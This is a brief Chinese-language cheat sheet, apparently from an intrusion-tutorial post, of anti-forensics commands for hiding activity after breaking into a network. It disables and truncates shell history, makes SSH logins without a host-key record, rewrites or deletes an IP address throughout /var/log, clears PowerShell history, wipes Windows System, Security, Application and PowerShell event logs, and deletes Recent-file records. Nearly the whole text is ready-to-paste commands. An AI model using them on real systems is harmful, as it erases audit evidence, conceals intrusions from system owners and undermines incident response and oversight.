╔═══════════════╗
║ “复制粘贴” 之内网入侵 ║
╚═══════════════╝
║ “复制粘贴” 之内网入侵 ║
╚═══════════════╝
2021-02-20
#不记录历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
#删除第N到最后一行
sed -i 'N,$d' .*sh_history
#SSH隐身登录
ssh root@x.x.x.x -o UserKnownHostsFile=/dev/null -T /bin/sh -i
#替换匹配内容
grep -alr '8.8.8.8' /var/log | xargs sed -i 's/8.8.8.8/114.114.114.114/g'
#删除匹配行
grep -alr '8.8.8.8' /var/log | xargs sed -i '/8.8.8.8/d'
#低版本PS
Clear-History
#高版本PS
Remove-Item (Get-PSReadlineOption).HistorySavePath
wevtutil cl "System"
wevtutil cl "Security"
wevtutil cl "Application"
wevtutil cl "Windows PowerShell"
del /f /s /q %APPDATA%\Microsoft\Windows\Recent